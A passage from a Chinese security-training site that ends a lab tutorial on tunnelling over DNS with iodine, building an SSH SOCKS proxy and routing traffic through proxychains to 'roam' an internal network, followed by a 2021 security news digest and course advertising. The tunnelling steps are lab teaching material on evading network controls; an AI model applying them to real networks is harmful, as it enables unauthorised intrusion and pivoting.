#-N 指示SSH不要启动shell,因为我们只是想创建代理
#-D 设置动态端口转发,SOCKS代理端口为8080
#user 我们服务器上的用户
#192.168.0.1 tun接口上的iodine服务器
输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4
vim /etc/proxychains4.conf
最后验证一下我们的代理有没有搭好:
proxychains4 curl http://www.baidu.com
大功告成,后面就是内网漫游时间~
实验名称:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014111916340800001
网络安全日报 2021年08月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、VMware修复了 vRealize Operations 中的高危漏洞
https://www.securityweek.com/vmware-patches-high-severity-vulnerabilities-vrealize-operations 2、F5 修复了 BIG-IP 设备中多个高危漏洞
https://securityaffairs.co/wordpress/121454/security/f5-big-ip-critical-flaw.html 3、FIN8 最近的攻击中使用了以前未被发现的"Sardonic" 后门
https://securityaffairs.co/wordpress/121446/cyber-crime/fin8-sardonic-backdoor.html 4、ShinyHunters 声称拥有 7000 万 AT&T 客户个人信息数据
https://securityaffairs.co/wordpress/121439/data-breach/shinyhunters-70m-att-customers.html 5、Firefox 将屏蔽不安全文件下载
https://therecord.media/firefox-follows-chrome-and-prepares-to-block-insecure-downloads/ 6、继雷蛇之后,SteelSeries设备被发现可用于Windows 本地提权
https://threatpost.com/windows-10-admin-rights-steelseries-devices/168927/ 7、思科针对高端 Nexus 设备发布关键漏洞修复补丁
https://threatpost.com/cisco-issues-critical-fixes-for-high-end-nexus-gear/168939/ 8、新的 SideWalk 后门针对美国电脑零售商
https://thehackernews.com/2021/08/new-sidewalk-backdoor-targets-us-based.html 9、DLL侧加载攻击利用Windows搜索顺序注入恶意DLL
https://gbhackers.com/dll-side-loading-attack/ 10、OpenSea 用户成为 Discord 网络钓鱼攻击目标以窃取加密货币
https://www.bleepingcomputer.com/news/security/fake-opensea-support-staff-are-stealing-cryptowallets-and-nfts/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

